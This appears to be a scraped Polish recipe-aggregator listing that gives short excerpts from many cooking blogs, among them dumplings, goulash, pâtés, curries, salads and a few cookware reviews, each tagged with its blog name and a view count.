mięta na finiszu, ożywia całą tą historię. INNE PYSZNE PRZEPISY ŚNIADANIOWE i/LUB KOLACYJNE:   CARPACCIO Z BURAKA Z SALSĄ VERDE     BURRITO Z KURCZAKIEM Z AWOKADO I SOSEM CZOSNKOWYM     CHLEBKI NAAN NADZIEWANE SEREM Z RUKOLĄ ROSZPONKĄ I BRZOSKWINIĄ     OMLET Z BRZOSKWINIAMI ALFREDO CYNAMONEM KURKUMĄ I CHILI     CHLEBKI NAAN Z BAZYLIĄ I OLIWĄ

globuskulinarny
kotlety ziemniaczane z resztkami wędliny i pieczarek -idealny przepis gdy zostają nam resztki ziemniaków 236

się nie kleiły do rąk .Teraz nakładamy ziemniak spłaszczamy i na to dajemy nadzienie ,dłońmi formujemy kotlet i obtaczamy w mące ,smażymy na oleju .podajemy z surówką i sosem

Moje Wyroby
Kluski śląskie z pesto z jarmużu 107

Kluski śląskie z pesto z jarmużu to polsko-włoska hybryda kulinarna. Bardzo udana, bo jak się okazuje, kluseczki świetnie smakują nie tylko w sosie pieczeniowym, ale warzywnym pesto. Czas : 40 minut Poziom trudności: Średnie Liczba porcji : 2 Kluski śląskie to znakomity dodatek do pieczeni, pieczonych kaczek i gęsi. Są pyszne, ale zawsze grają drugie skrzypce w obiadowych daniach. Postanowiliśmy

Niedzielny kucharz
Bogracz 134

bakłażana Kopytka dyniowe Tarta z porami, boczkiem i groszkiem Lasagne z cukinii Serowe placki z cukinii Gulasz cebulowy Zobacz też nowe przepisy Bogracz Piernik dojrzewający Pieczone jabłka w sosie karmelowym Parmigiana z bakłażana Kopytka dyniowe Artykuł Bogracz pochodzi z serwisu Okolice Palnika - blog kulinarny

okolicepalnika.pl
Zupa warzywna z Francji czyli Soupe au Pistou Faceta w Kuchni 140

smakuje fantastycznie, chociaż jest bardzo łatwa w przygotowaniu, bez wątpienia kolory zupy w pierwszej chwili przyciągają wzrok. Dla wyjaśnienia czym jest Pistou… czy to pesto? Pesto to rodzaj sosu, dresingu z kuchni liguryjski, niewątpliwie najbardziej znane jest Pesto alla Genovese , składające się z oliwy, orzeszków pini, sera, czosnku i bazylii. Wydaje się, że Pistou to francuski, mniej znany kuzyn, włoskiego

RafalCook
Placki ziemniaczane z dodatkiem pęczaku z gulaszem 154

gulaszem. My wykorzystaliśmy do zrobienia zupę gulaszową , którą mieliśmy na obiad dwa dni wcześniej. Odłożyliśmy niewielką porcję, którą przed podaniem z plackami, podgrzaliśmy, zagęszczać odrobiną mąki ziemniaczanej. Sos możesz zrobić od podstaw opierając się na naszym przepisie na gulasz węgierski. Dodaj tylko mniej bulionu/wody do warzyw. Składniki: 4 duże ziemniaki 1/2 szklanki ugotowanego pęczaku 1 cebula 1 jajko Olej Sól

Niedzielny kucharz
Piszinger z czekoladami 79

Plan wykonany. Ulubiony sernik, kawa i brownie w tej samej, co zawsze kawiarni. Spacer,  zakupy wspomnianych artykułów ( spróbujcie znaleźć w rodzimych sklepach budyń pistacjowy, cukier rumowy i dobry sos gulaszowy :). Słabość do czekolady studenckiej mam już za sobą. Brak pieczywa kminkowego wynagrodził kolejny kubek z czeskiej porcelany, który trafił do sporej już kolekcji. Zakupione czekolady,  po powrocie trafiły

Kronika Piekarnika
Papryka faszerowana mięsem mielonym 123

solidna porcja warzyw i chudego białka. Jeśli jednak czujecie, że przydałoby się coś obok na talerzu, proponuję: ulubioną kaszę lub ryż gotowane lub pieczone warzywa sałata z lekkim sosem vinegret Drukuj Papryka faszerowana mięsem mielonym Pyszny i prosty przepis na obiad z mięsa mielonego i dużej ilości warzyw. Idealny do przygotowania na dwa dni lub więcej! Posiłek kolacja, obiad Kuchnia

Na-talerzu.pl
Dyniowe gnocchi 111

niej widoczne rowki. Na koniec złap za oba końce i lekko przyciśnij do środka. Gnocchi gotuj we wrzącej, lekko osolonej wodzie. Kluseczki powinny wypłynąć na powierzchnię + 30 sekund dłużej. SOS MAŚLANY: Na patelni rozpuść masło, dodaj odrobinę soli, bułkę tartą i podgrzewaj aż bułka zacznie się nieco rumienić. Na koniec dodaj listki świeżej szałwi i jeszcze kilka chwil podgrzewaj

nietylkopasta.pl
KARP nie tylko wigilijny 188

minut. ************************* A jeśli szukacie pomysłu na bardziej wyrafinowane przepisy z karpia, polecam te dwa z mojego bloga. Doskonale się sprawdzą w grudniu. PIEROGI Z KARPIEM  KARP W SOSIE GRZYBOWYM

kolorowotorcikowo
Pasztet z królika 179

pasztetu wykorzystałam mięso z nóżek królika. Mięso gotowałam przez 1 godzinę i 40 minut. Szukasz przepisów na dania z królika? Jeśli tak to wypróbuj nasz przepis na Królika w sosie z grzybów leśnych. The post Pasztet z królika appeared first on MeCooks Blog

MeCooks
Spaghetti z cytryną, parmezanem i pistacjami według Lary Gessler 141

pieprzem, i winem. Dolej mieszankę żółtkową na patelnię, wymieszaj i dołącz gorący makaron z odrobiną wody z gotowania. Włącz mały ogień pod patelnią i mieszaj delikatnie makaron, aż sos zacznie gęstnieć i go oblepiać. Dosyp wtedy siekane pistacje. Możesz zostawić trochę do dekoracji. Podawaj od razu! Z winem naturalnie

Z Kuchni Do Kuchni
Kaczka pieczona z jabłkami 110

ogromną zaletą jest niewielka waga i fantastyczna nieprzywieralna powłoka. Ma też ciekawą opcję w postaci dozownika na płyn w pokrywce. Malutka dziurka pozwala na precyzyjne i powolne dozowanie oleju, sosu, bulionu czy innego rodzaju płynu, który dodajecie do pieczeni. Do tej sporej brytfanny na raz zmieściła się cała kaczka około 2 kg wagi oraz kilka jabłek. Warto dodać, ze brytfanny

nietylkopasta.pl
Piernik dojrzewający 129

przepisy na Boże Narodzenie Uszka wigilijne Schab ze śliwką Lukier do pierników Śledzie w śmietanie Makowa fantazja Ryba po grecku Zobacz też nowe przepisy Piernik dojrzewający Pieczone jabłka w sosie karmelowym Parmigiana z bakłażana Kopytka dyniowe Tarta z porami, boczkiem i groszkiem Artykuł Piernik dojrzewający pochodzi z serwisu Okolice Palnika - blog kulinarny

okolicepalnika.pl
Jaglane kotlety piri – piri 118

Piri – piri to odmiana szczególnie znanej ze swej ostrości papryczki chilli, docenianej zwłaszcza w Portugalii oraz krajach Afryki. Jest podstawą sosów i marynat, które właśnie od niej czerpią swoją nazwę. Często mianem „piri – piri” określa się również całe dania, które oprócz wspomnianych papryczek doprawiane są zwykle wędzoną papryką, skórką i sokiem z cytryny, zieloną pietruszką oraz czosnkiem. Ta wyrazista mieszanka

Even Better Food
Burgery z czerwonego ryżu i pieczonego kalafiora 102

przy pomocy szerokiej łopatki. Ponownie wstawić do piekarnika i piec dalsze 10 minut. Burgery świetnie smakują podawane z ulubionymi dodatkami w bułce z dobrej jakości majonezem i np. sosem BBQ, z frytkami, np. z batatów czy pikantnymi ziemniaczanymi łódeczkami, ale też jako element klasycznego obiadu. Smacznego! Masa na burgery powinna być na tyle kleista, by dała się łatwo

Even Better Food
Pomidorowe klopsiki jaglane 129

minut (uważać, by klopsików nie przesuszyć) – w połowie pieczenia poruszyć blachą, tak by klopsiki przemieściły się i równomiernie przyrumieniły. Klopsiki będą świetnym dodatkiem do makaronu z sosem dyniowym. Smacznego! The post Pomidorowe klopsiki jaglane appeared first on Blog o gotowaniu

Even Better Food
Golce – kaszubski specjał z ziemniaków 140

jednogarnkowe. Golce i róże ich odmiany to kluski – również formowane, które były podawane ze skwarkami i podsmażoną cebulką. Dodatkiem była często kiszona kapusta. Innymi spotykanymi dodatkami były również: sos grzybowy, twaróg oraz zasmażana kapusta lub kapusta z grochem. Zapraszamy zatem na przepis na te pyszne kluski i chcemy Was zaprosić do komentarzy pod postem lub na naszym FACEBOOKU . Szczególnie

Kuchnia Na Wypasie
Kuchnia na trudne czasy. Ziemniaki 116

niemiecka kartofle, a jednym z najbardziej popularnych dań były pyry z gzikiem , czyli ziemniaki z twarogiem. Z włoszczyzny można zrobić bulion warzywny, który posłuży jako baza do zup i sosów, Można też przygotować domowe kostki rosołowe tzw. bulionetki, które można zamrozić. Z ziemniaków można ugotować zalewajkę , a z batatów, czyli słodkich ziemniaków można ugotować pyszną zupę. Z gotowanych warzyw

Damsko-męskie spojrzenie na kuchnię
Pieczone ziemniaki z kurczakiem i serem 155

ziemniaki startym serem ze szczypiorkiem i wstaw na kilka minut, aby ser się roztopił. INNE NASZE PRZEPISY NA ZIEMNIAKI: ZIEMNIAKI PIECZONE PYSZNIE NADZIANE FASZEROWANE ZIEMNIAKI Z PIEKARNIKA ZIEMNIAKI W SOSIE SEROWYM Z SZYNKĄ Smacznego! Artykuł Pieczone ziemniaki z kurczakiem i serem pochodzi z serwisu Kuchnia na Wypasie

Kuchnia Na Wypasie
Pomidorowe klopsiki jaglane 132

około 25 – 30 minut (uważać, by klopsików nie przesuszyć) – w połowie pieczenia poruszyć blachą, tak by klopsiki przemieściły się i równomiernie przyrumieniły. Klopsiki będą świetnym dodatkiem do makaronu z sosem dyniowym. Smacznego! The post Pomidorowe klopsiki jaglane appeared first on Blog o gotowaniu

Even Better Food
Zdrowe naczynia emaliowane 125

Patelnie emaliowane nie są zalecane do smażenia beztłuszczowego, wręcz przeciwnie! Chociaż niewielka ilość oleju jest niezbędna, aby uniknąć przywierania potraw. Patelnia emaliowana świetnie sprawdzi się do przygotowania dań „jednogarnkowych”, sosów i potrawek. Jeżeli zależy nam na pro zdrowotności posiłków, możemy zastanowić się na duszeniem potraw. Dania możemy dusić w niewielkiej ilości wody z odrobiną oleju. Patelnia emaliowana świetnie sprawdzi się

sierotka maRysia w kuchni
Pieczony turbot z jarmużem i pomidorami 112

dusić i smażyć, ale najlepiej smakuje prosto z grilla lub pieczony. Możemy go podać skropionego sokiem z cytryny i oliwą z oliwek. Pyszny będzie także na przykład z lekkim sosem i warzywami.   Pieczony turbot z jarmużem i pomidorami Czas przygotowania: 40 minut Składniki: 1 turbot oliwa z oliwek sól morska świeżo zmielony pieprz  świeży tymianek cytryna 1/2 opakowania

Kulinarne przygody Gatity
Gofry 139

pudrem, żeby można je było nazwać deserem. Kiedy pojedziemy nad morze to chyba każdy wie, z jakimi wariacjami możemy się spotkać. Od tony bitej śmietany, po czekoladę, owoce, słodkie sosy i lody. Tak jak w przypadku naleśników , dobra patelnia to podstawa, tak w wypadku gofrów to dobra gofrownica odpowiada za więcej niż połowę sukcesu. Miałam różne gofrownice, tańsze i droższe

rabarbarowo
Gulasz z dynią i ciecierzycą, wegański 112

direction-step-1604929709184171","image":""}]} Dla miłośników dyniowych smaków zostawiam kilka ciekawych propozycji na pyszne dania! Krem z dyni z mleczkiem kokosowym Dyniowy chlebek pełnoziarnisty Placki z dyni Makaron z sosem dyniowo-orzechowym Dyniowe risotto Artykuł Gulasz z dynią i ciecierzycą, wegański pochodzi z serwisu Healthycreations - zdrowe odżywianie jest prostsze niż myślisz

Healthycreations.pl
Palestyna Książka Kucharska 113

Najważniejsze, jak podkreślają autorzy “ by święta trójca, czyli sok z cytryny, oliwa i za’tar, stała w zasięgu każdego stołownika “. Po śniadaniach mamy przekąski, pasty i sosy, przystawki warzywne i sałatki, zupy, warzywne dania główne, ryby, mięso, pieczywo i łakocie. Na koniec jest słowniczek: spiżarnia i polityka w Palestynie. Szczerze polecam i zachęcam do lektury i gotowania

Tajemnice Smaku
Pasztet z selera z orzechami 173

selera, pomimo tego że niektórzy już na sama myśl o tym warzywie się krzywią, smakuje naprawdę całkiem nieźle a idealnie już wprost gdy podamy go w towarzystwie ulubionego sosu np. pomidorowego, czosnkowego, curry. Jeśli lubicie warzywne pasztety, po więcej inspiracji zapraszam as do działy Pasztety-przepisy . PRZEPIS PASZTET Z SELERA Z ORZECHAMI Składniki: 1 kg selera korzeniowego 3 cebule 150g

Dorota Smakuje
Jaglane kotlety piri – piri 118

Piri – piri to odmiana szczególnie znanej ze swej ostrości papryczki chilli, docenianej zwłaszcza w Portugalii oraz krajach Afryki. Jest podstawą sosów i marynat, które właśnie od niej czerpią swoją nazwę. Często mianem „piri – piri” określa się również całe dania, które oprócz wspomnianych papryczek doprawiane są zwykle wędzoną papryką, skórką i sokiem z cytryny, zieloną pietruszką oraz czosnkiem. Ta wyrazista mieszanka

Even Better Food
Wołowina Curry z Chinatown Faceta w Kuchni 138

wlej dwie łyżki oliwy i wrzuć szalotkę, podsmaż ją dość mocno, pod koniec wlej ocet ryżowy i grzej, aż płyny odparują. 🛠️ Nałóż ryż do miski, dodaj kostki wołowiny z sosem curry i dodaj szalotki. 👍 Gotowe Smacznego Rok temu założyłem grupę kulinarną na Facebook „Facet w kuchni-gotowanie pod wpływem” nie sądziłem, że po roku będzie

RafalCook
Żołądki po węgiersku 144

Cebule obieramy, kroimy w krążki i prużymy na rozgrzanym oleju 10 minut. 3.    Wlewamy passatę oraz ketchup, doprawiamy paprykami, pieprzem, cukrem oraz solą. 4.    Sos łączymy z żołądkami, podajemy z ryżem lub makaronem. 5.    Gotowe. 6.    Smacznego

Kulinarna Chwila
Zapiekanka makaronowa z tuńczykiem, groszkiem i serkiem wiejskim 171

sumie wyszło bardzo smaczne i sycące danie. Wykonanie też banalnie proste, nic tylko wypróbować. Składniki (na 2 duże porcje): 150g makaronu penne lub większych rurek 2 puszki tuńczyka w sosie własnym 150g mrożonego groszku opakowanie serka wiejskiego z płynną śmietanką pół szklanki startego sera Cheddar lub jakieś innego do posypania 1 duża cebula ząbek czosnku sól i pieprz do smaku

Smaczna Strona
Ajvar 144

próbować łyżką, którą już próbowaliśmy, po każdej próbie bierzemy czystą łyżkę. Wiem, że to może wydać wam się dziwne, ale już parę razy zabiliśmy przez takie podjadanie kilka sosów pomidorowych i dżemów. Gorący ajvar przekładamy do wyparzonych słoiczków. Przekładamy, upychając ajvar tak, żeby wypchać ze słoika jak najwięcej powietrza. Zakręcamy i pasteryzujemy 20 min w 120 stopniach w piekarniku. Wyciągamy

ladykitchen
Pindjur 158

ziół. Gwarantuję wam, że się zakochacie. My żremy, bo jedzeniem tego nie można nazwać, pindjur z białym serem i jest to połączenie genialne. Pindjur możecie wykorzystać jako dip, sos do makaronów, jako podrasowanie gulaszy czy pieczonego mięsa lub warzyw. My używamy go zamiast ketchupu. Robiłam kilka wersji. Jednak to pindjur wygrzebany z bałkańskich zapisków mojej teściowej, wygrał wszelkie konkursu

ladykitchen
Placki dyniowe pełnoziarniste, bez cukru 128

dodać miód czy inny słodzik. Jeśli szukacie innych smacznych pomysłów na dynię to koniecznie sprawdźcie poniższe przepisy z mojego bloga: Dyniowe bułeczki na parze, bez pieczenia Dyniowe bułeczki pełnoziarniste Sos dyniowo-orzechowy do makaronu Dyniowe risotto Pin Print Placki dyniowe Recipe by Healthy Creations Porcje 8 placków Składniki 200 g dyni hokkaido 2 jajka 100 g mąki orkiszowej pełnoziarnistej

Healthycreations.pl
Polskie Skarby Kulinarne – Restauracja Kiyrnicka by Saguła 191

pizza – zjedzona od razu pod restauracją w samochodzie, przepyszna ( aczkolwiek ja nie lubię ogórków na pizzy – tu one pasowały znakomicie !) Pizza zrobiona jest na cieście ziemniaczanym, z sosem pomidorowym, oscypiek, borowikiem marynowanym i ogórkiem kiszonym oraz posypana jest szczypiorkiem.   Podsumowując Cóż mogę powiedzieć, miejsce oprócz tego, że zaskoczyło mnie smakami, to jeszcze zaskoczyło mnie w środku

Kuchnia na wzgórzu
Krem czosnkowy na pieczonych warzywach 164

duże ziemniaki kilka gałązek świeżego rozmarynu oliwa do gotowania: 3 białe cebule 0,5 główki czosnku 5 liści laurowych garstka ziela angielskiego czarny pieprz 1 łyżeczka majeranku 2 łyżki sosu sojowego - jeśli dacie bezglutenowy, danie będzie 100% gluten free  dodatki: wędzony twaróg lub wędzone tofu sezam i koperek do posypania kilka kropli oleju sezamowego (pychaaa!) Do dzieła: Pokrojone warzywa

Spektrum Smaku
Domowy makaron shirataki (Paleo, LowCarb) 163

się zawsze mieć w domu kilka paczuszek na wypadek, gdyby trzeba było zrobić jakiś szybki obiad. Używam go wtedy jako wkładkę do zupy lub zjadam w towarzystwie jakiegoś szybkiego sosu (np. w typie bolognese czy carbonara ). Makaron shirataki domowej roboty – da się? Prawie od samego początku zadawałam sobie to pytanie. Wtedy, kiedy ja wprowadzałam go do diety nie był

Modern Cave Girl
Pieczona dorada na ziemniaczanych czipsach 188

Poniżej zamieszczamy przepis na doradę po baskijsku . Pieczona dorada trafia do pieca na podkładzie z cienko pokrojonych ziemniaków, które w trakcie pieczenia lekko się przypiekają, ale też przenikają delikatnym sosem rybnym. Danie bardzo proste i bardzo smaczne. Składniki: 2 dorady 8 małych ziemniaków 2 łyżki oliwy 1 cytryna – z jednej połowy wyciśnij sok, drugą pokrój na plasterki 4 ząbki czosnku

Niedzielny kucharz
Wątróbka drobiowa po prowansalsku 130

lepszych jakie można użyć, żeby kogoś zachęcić do spożycia wątróbki. Ciekawie wypada także z zastosowaniem nerek ale jest dużo bardziej pracochłonny, nie to co parominutowa, pyszna wątróbka w sosie Polecam, może kogoś przekona, a jeśli lubisz podroby to być może trafi w Twoje gusta. składniki na 2 osoby: 0,5 kg drobiowej wątróbki 4-5 pieczarek kawałek boczku, mniej więcej

Ogrodnik w podróży
Czerwona kapusta zasmażana z jabłkiem / Braised Red Cabbage with Apple 137

dodatek do pożywnego gulaszu albo pieczonego drobiu i klusek śląskich. Koniecznie wypróbujcie, bardzo polecam, smacznego:) Jeśli macie ochotę przygotować czerwoną kapustę zasmażaną do obiadu, przygotujcie również moje polędwiczki w sosie własnym : Czerwona kapusta zasmażana z jabłkiem, składniki: główka średniej wielkości czerwonej kapusty, 2 duże cebule, 2 ząbki czosnku, 2 jabłka, ok. 2 szklanek wody, kilka łyżek soku z cytryny

Lekcje w kuchni
Domowa Hiszpańska Fideuà Faceta w Kuchni 145

Paulli dostałem przyprawę „Golden powder” mieszankę przypraw z jej domu rodzinnego do Paelli, wskazówki na temat makaronu.Po wysłaniu zdjęcia Paulli stwierdziła, że wygląda pysznie, choć powinno być więcej sosu, ale w różnych regionach Hiszpanii wygląda to różnie, gdzieniegdzie Fideuà przypomina zupę w innych miejscach, makaron jest przypieczony. Mój błąd sprawił, że połączyłem cały Hiszpanie w jednej patelni, wsypałem zbyt dużo

RafalCook
Kurczak w galarecie ze słoika 586

pieczemy 2 godziny. Następnie wyjmujemy, uzupełniamy słoiki przecedzonym bulionem. Na koniec mocno zakręcamy i zostawiamy do ostygnięcia. INNE NASZE POMYSŁY NA DANIA DO SŁOIKÓW: CZOSNEK MARYNOWANY OBIAD Z SOSEM A’LA STROGANOW ŻEBERKA W KAPUŚCIE PYSZNY PRZECIER Z DYNI NA ZIMĘ Smacznego! Artykuł Kurczak w galarecie ze słoika pochodzi z serwisu Kuchnia na Wypasie

Kuchnia Na Wypasie
MIĘCIUTKIE KOTLECIKI Z KOMOSY RYŻOWEJ, CUKINII I WARZYW 114

masa jest odpowiednio doprawiona, i czy kotleciki nie rozpadają się podczas smażenia. Nasze kotlety smażymy dość mocno z obu stron. Podajemy z ulubionymi dodatkami. My jedliśmy np z lekkim sosem czosnkowym

Walijskie Pichcenie
Tęczowa tarta warzywna (przepis krok po kroku) 143

poziom spożywając posiłki bazujące na warzywach, np. sałatki, warzywne zupy, curry czy leczo.  Poniżej znajdziecie propozycje przepisów obfitujących w różnorodne warzywa: francuski ratatouille włoska zapiekanka z bakłażanem i sosem pomidorowym 3 przepisy na proste zupy krem pieczone warzywa alla romagnola szakszuka z ciecierzycą i szpinakiem marokański tadżin z warzywami i ciecierzycą   Tęczowa tarta warzywna (przepis krok po kroku

Chilli Czosnek i Oliwa
Gnocchi z batatów 119

batatami: Pieczone bataty z jogurtem i miętą Sałatka z pieczonym batatem Pieczone faszerowane bataty Pikantne frytki z batatów Pizza z batatów z kurczakiem Kurczak z batatami Bataty z sosem z awokado Sałatka z batatem i jajkiem na miękko Krem z batatów Frytki z batatów Chipsy z batatów GNOCCHI Z BATATÓW Przygotowanie : 20 minut + pieczenie batatów około 40 minut Ilość porcji

nietylkopasta.pl
Kotleciki dyniowo-ziemniaczane z fetą 132

szczypiącą w język chili. Kształtne i sycące wypełniają brzuchy samą przyjemnością i troskliwym, jesiennym ciepłem, a do tego szybko się je przyrządza. Można zajadać same, można podać z domowym sosem jogurtowo-czosnkowym i ulubioną zieleniną. Do kotlecików najlepiej wykorzystać dynię Hokkaido lub piżmową ze względu na ich mięsisty i zwarty miąższ, jeśli jednak użyjecie dyni o większej zawartości wody, możecie

Kuchnia w Słońcu Skąpana
Kotlety z ryby i orkiszu 144

kotlety z kaszą to mocno stuningowany przepis na kotlety z karpia. W oryginalnym przepisie wśród składników nie ma kaszy, a jest żurawina. Do tego idzie lekko kwaskowy, winno-śmietanowy sos. No pycha. Ponieważ nie mieliśmy w lodówce karpia, za to w zamrażalniku znalazł się mrożony mintaj, no to żeśmy go zrobili a la karp. Zrezygnowaliśmy z żurawiny, bo słodycz dobrze

Niedzielny kucharz
Bakłażan z Paneer w ostrym Curry Faceta w Kuchni 146

Koncetrat wymieszaj z 200 ml wody i cukrem. 🛠️ Teraz ostrożnie przełóż pieczonego bakłażana na patelnię, wlej wodę z przecierem, wymieszaj, dodaj kostki smażonego sera, zmniejsz temperaturę i gotuj, aż sos lekko zgęstnieje. 🛠️ Przed podaniem posyp resztą kolendry, podawaj z ryżem. 👍 Gotowe Smacznego Rok temu założyłem grupę kulinarną na Facebook „Facet w kuchni-gotowanie pod wpływem

RafalCook
Curry wegetariańskie z kalafiorem i cukinią oraz test patelni Woll. 131

ważniejszych jeśli nie najważniejszych naczyń kuchennych. Na patelni możecie przygotować niezliczoną ilość dań. Z patelnią firmy Woll jest to dodatkowo duża przyjemność. (adsbygoogle = window.adsbygoogle || []).push({}); Na patelni przygotowujemy naleśniki, sosy, placki, placuszki, różne mięsa, dania na słodko, powidła, makarony i można tak wyliczać bez końca. Patelnia, którą ja testowałam ma odpinaną rączkę dzięki, której z łatwością możecie ją przechowywać

To co lubię - gotuję i polecam
Test patelni Woll 135

ponieważ posiada specjalnie profilowany rant udało się zachować czystość podczas gotowania. Pokrywa z żaroodpornego szkła okazała się niezastąpiona. Gołąbki najpierw obsmażyłam na mocno rozgrzanej patelni, a potem zalałam sosem pomidorowym i dusiłam pod przykryciem na wolnym ogniu. Patelnia nagrzewa się bardzo równomiernie i nawet na małym płomieniu mięso dusiło się równo na środku i na brzegu. Oprócz przygotowania gołąbków wypróbowałam

babka w formie
Sałatka jajeczna z paluszkami surimi i szpinakiem 190

liście szpinaku, starty ser, poszatkowany szczypior. Pestki słonecznika prażymy na patelni, dodajemy do sałatki. Jogurt łączymy z majonezem oraz zmiażdżonym czosnkiem, doprawiamy do smaku solą i pierzem. Polewamy sałatkę sosem, mieszamy. Podajemy z pieczywem lub zrumienionymi tostami

Qchnia po prostu
Sałatka z awokado i jajkiem 126

nadmiaru płynu. Dodajemy jogurt i dokładnie mieszamy. Jabłko (ze skórką) oraz ogórka kiszonego kroimy w grubą kostkę, dodajemy do sałatki. Dorzucamy natkę pietruszki, sól i pieprz. Na końcu wlewamy sos jogurtowy z cebulą. Mieszamy, aż składniki się połączą. Odstawimy sałatkę jeszcze na kwadrans, by smaki się połączyły, a następnie podajemy Smacznego! Szukasz prostych i zdrowych przepisów? Dobrze trafiłaś! Zapisz się

Wiszniówka
Ryż (kuskus) z kalafiora albo brokuła 137

autoimmunologiczny ). Kalafior i brokuł nie tuczą i są bezpieczne dla osób z chorobami autoimmunologicznymi. Kalafior ma łagodny smak i dobrze się komponuje z wieloma daniami – pasuje do zup, sosów, mięs, surówek, sałatek. To niskowęglowodanowa i bezglutenowa alternatywa dla zbóż. Bezglutenowy i niskowęglowodanowy „ryż” albo „kuskus” z kalafiora albo brokuła jest bardzo prosty, potrzebujesz… kalafior

PaleoSMAK
Gulasz z kurczaka z papryką i pieczarkami / Chicken Stew with Peppers and Mushrooms 130

minut, pod koniec dodając drobno posiekany czosnek. Wrzucić mięso. Doprawić, dodać koncentrat, musztardę i zalać płynem. Dusić do momentu, gdy warzywa i mięso będą miękkie (około 20 minut) Zagęścić sos mąką rozmieszaną z wodą. Posypać natką pietruszki. Chcesz być na bieżąco z nowymi przepisami? Polub mój profil na Facebooku: Lekcje w kuchni Chicken Stew with Peppers and Mushrooms Recipe

Lekcje w kuchni
Pasztet z wątróbką 129

cebulą i czosnkiem w garnku pod przykryciem. Wątróbkę na razie zostaw na boku , przyda się później. Cebula i mięso powinny puścić „soki” i dusić się we własnym sosie, jednak jeśli jest go za mało (powinno być co najmniej 3 cm od dna garnka), możesz dolać trochę bulionu warzywnego albo wody (nie za dużo). Duś mięso pod przykryciem

PaleoSMAK
Rosół 143

wolnowarze, co skutkuje mniejszą ilością glutaminy w wywarze. Gotowy rosół można pić (np. szklanka-dwie dziennie), ale doskonale się też sprawdza jako podstawa samodzielnie gotowanych zup i sosów. Mocny wywar z kości można zamrozić w foremkach do lodu, tworząc swoje własne i bardzo zdrowe kostki rosołowe . PaleoSMAK Ja najczęściej gotuję rosół z kości wołowych (surowych albo pozostałościach po pieczeniu szpiku

PaleoSMAK
CURRY WARZYWNE Z PLACKIEM Z PATELNI 148

LIMONKĄ I MIĘTĄ     CHILI CON CARNE INACZEJ     SAŁATKA Z MAKARONEM RYŻOWYM ARBUZEM I KURCZAKIEM INACZEJ     CYTRYNOWE TAGLIATELLE Z PARMEZANEM     CALAMARI Z SOSEM ALFREDO     TAGLIATELLE AL POMODORO CRUDO     LECSÓ CZYLI LECZO PO WĘGIERSKU     ZUPA TAJSKA Z KURCZAKIEM     PAD THAI Z KURCZAKIEM     FASOLKA

globuskulinarny
Czy przemysł spożywczy może istnieć bez przypraw? 241

nich przypraw naturalne są kluczowym składnikiem. Dla przykładu w przemyśle rybnym odpowiednie kompozycje przypraw zapewniają właściwy smak i aromat popularnych konserw. Przyprawy idealnie podbijają smak ryby, łączą się z sosami czy olejem, tworząc pyszną całość. Istnieją też idealne mieszanki podkreślające smak śledzi od tradycyjnych kompozycji z kolendrą czy różnych mieszanek, gdzie przeważa pieprz, aż po oryginalne korzenne przyprawy. Przyprawa może

Słodkie okruszki
Grecka sałatka wiejska 138

warzyw. 6. Oliwki odsącz z zalewy.  Fetę pokrój w dużą kostkę i dodaj do sałatki.  6. Oliwę i pozostały ocet winny wymieszaj z oregano. Polej sałatkę sosem, dopraw pieprzem i delikatnie wymieszaj.  Ciekawostki o sałatce greckiej Grecka sałatka wiejska czyli sałatka horiatiki króluje na stołach od wczesnej wiosny do późnej jesieni. W dawnych czasach stanowiła podstawę wyżywienia

Cztery Fajery
Zupa dyniowa – najprostsza 225

przekonana, że dynię można jeść wyłącznie na słodko. A tu niespodzianka 😉 Od wielu lat w mojej kuchni dynia występuje też w wersji wytrawnej. Przykładem może być np. spaghetti z sosem dyniowym i szałwią lub dyniowe gnocchi . Dołącza do nich też ta idealnie złota i pyszna zupa dyniowa. Jej przygotowanie jest niezwykle szybkie i proste. Przyznam się Wam, że nie wyobrażam

Na-talerzu.pl
Curry z batatów i ciecierzycy 112

kalafior i brokuł, cebula, czosnek i imbir, ciecierzyca, same smakowitości które mają mnóstwo witamin, mikro i makro elementów, błonnika i białka. Polecam na jesienny dzień. Warzywa w sosie. CZYTAJ DALEJ

Moje Małe Czarowanie
Ciasto francuskie z serem feta 131

doskonałą przekąską na przyjęcie w gronie bliskich lub też ciekawym pomysłem na niecodzienną kolację. Jest to stosunkowo łatwa oraz szybka przekąska, którą lubi większość osób. Polecam podać ślimaczki z sosami – najlepiej ostrym pomidorowym oraz czosnkowym na bazie jogurtu naturalnego. Smakują dobrze na ciepło i na zimno. U mnie w domu ślimaczki znikają w mig, niezależnie od wersji, którą zrobię

Kuchnia Bazylii
Pasta twarogowa z tuńczykiem 155

Składniki: 100 g białego sera, tłustego 120 g tuńczyka w sosie własnym 4 ogórki kiszone 1 jajko 1 pęczek szczypiorku sól, pieprz Sposób wykonania: Jajko gotujemy na twardo. Do naczynia blendera wrzucamy pokrojony na kawałki ser, odsączonego tuńczyka, jajko, pokrojone na kawałki ogórki. Miksujemy do uzyskania jednolitej pasty. Przekładamy do miseczki. Szczypiorek drobno szatkujemy i dodajemy do asty. Doprawiamy

Qchnia po prostu
Fasolka po bretońsku 114

Fasolka po bretońsku to syte danie jednogarnkowe z kiełbasą, boczkiem i fasolą w sosie pomidorowym. Znany, polski obiad dla całej rodziny i na kilka dni. Przygotujesz go przez cały rok z łatwo dostępnych składników. Zapraszam po przepis na najlepszą fasolkę po bretońsku. Poniżej także kilka porad.   Fasolka po bretońsku SKŁADNIKI: 500 g białej fasoli “Piękny Jaś

Zasmakuj Kuchni
Swojak z kiełbasą cebulą i jajkiem Faceta w Kuchni 147

gotuj ok. 10-15 minut, następnie przy użyciu blendera ręcznego zmiksuj. 🛠️ Kiedy ciasto wyrośnie, przy pomocy czystych dłoni i palców rozłóż je na blaszkę, lekko posypana mąką. 🛠️ Nałóż sos na ciasto i wstaw blaszkę do piekarnika nagrzanego do 220-240 stopni na ok. 7-10 minut. 🛠️ Wyjmij blaszkę, ostrożnie oczywście, nałóż kiełbasę z cebulą i posyp parmezanem. 🛠️ Wstaw ponownie blaszkę

RafalCook
Krewetki z czosnkiem i białym winem. 117

spalił, ponieważ zrobi się gorzki. Następnie dodajemy krewetki i smażymy je 1,5 minuty dolewamy wino oraz śmietankę i odwracamy krewetki na drugą stronę. Smażymy jeszcze chwilę żeby sos się odrobinę zredukował. Doprawiamy do smaku solą i posypujemy natką pietruszki. Podajemy z bagietką. Krewetki z czosnkiem i białym winem to co lubie gotuje i polecam Artykuł Krewetki z czosnkiem

To co lubię - gotuję i polecam
Makaron z warzywami w sosie mascarpone 144

